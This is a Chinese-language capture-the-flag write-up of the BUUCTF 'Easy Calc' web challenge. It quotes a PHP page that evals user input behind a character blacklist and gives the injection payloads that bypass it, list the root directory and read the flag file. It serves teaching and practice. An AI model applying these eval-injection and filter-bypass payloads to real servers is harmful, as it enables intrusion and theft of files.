121,【5】 buuctf web [RoarCTF 2019] Easy Calc
进入靶场
尝试看看能不能得到源码
有信息
// 当id为calc的表单提交时,触发一个事件处理函数
$('#calc').submit(function(){
// 使用jQuery的$.ajax方法发起一个异步HTTP请求
$.ajax({
// 请求的URL地址,将id为content的输入框的值进行URL编码后,作为参数num添加到calc.php的请求URL中
url:"calc.php?num="+encodeURIComponent($("#content").val()),
// 请求的类型为GET,意味着将数据附加在URL后面发送到服务器
type:'GET',
// 当请求成功时执行的回调函数
success:function(data){
// 将服务器返回的数据(通常是计算结果)插入到id为result的元素中
// 使用HTML模板字符串创建一个带有成功提示样式的div元素,并将服务器返回的数据显示在其中
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
// 当请求失败时执行的回调函数
error:function(){
// 弹出一个警告框,提示用户输入的内容无法计算
alert("这啥?算不来!");
}
})
// 阻止表单的默认提交行为,避免页面刷新
return false;
})
发现calc.php
访问一下
新的代码
<?php
// 关闭所有 PHP 错误报告,避免在页面上显示错误信息,增强安全性和用户体验
error_reporting(0);
// 检查是否通过 GET 请求传递了名为 'num' 的参数
if(!isset($_GET['num'])){
// 如果没有传递 'num' 参数,则显示当前文件(即本 PHP 文件)的源代码
show_source(__FILE__);
}else{
// 如果传递了 'num' 参数,将其值赋给变量 $str
$str = $_GET['num'];
// 定义一个黑名单数组,包含了一系列不允许出现在用户输入中的字符
$blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '\[', '\]', '\$', '\\', '\^'];
// 遍历黑名单数组中的每个元素
foreach ($blacklist as $blackitem) {
// 使用正则表达式匹配用户输入的字符串 $str 中是否包含黑名单中的字符
if (preg_match('/' . $blackitem . '/m', $str)) {
// 如果匹配到黑名单中的字符,终止脚本执行,并输出提示信息
die("what are you want to do?");
}
}
// 如果用户输入的字符串不包含黑名单中的字符,则使用 eval 函数执行用户输入的代码
// eval 函数会将字符串作为 PHP 代码进行解析和执行,并将执行结果输出
eval('echo '.$str.';');
}
?>
得知参数名为num,传递方式是get
开始尝试
?+num=phpinfo()
黑名单里有空格,而在url中 +
号通常会被当作空格来处理,phpinfo()
函数的主要功能是输出当前 PHP 环境的详细配置信息
成功了
?+num=print_r(scandir(chr(47)))
chr(47)
:chr()
是 PHP 的内置函数,它将 ASCII 码值转换为对应的字符。chr(47)
对应的 ASCII 字符是/
,在 Linux 或 macOS 系统中代表根目录。scandir()
:scandir()
函数用于扫描指定目录中的文件和文件夹,并返回一个包含这些文件和文件夹名称的数组。所以scandir(chr(47))
实际上就是scandir("/")
,即扫描根目录并获取其下所有文件和文件夹的名称。print_r()
:print_r()
用于以易于理解的格式输出变量的信息。
?+num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag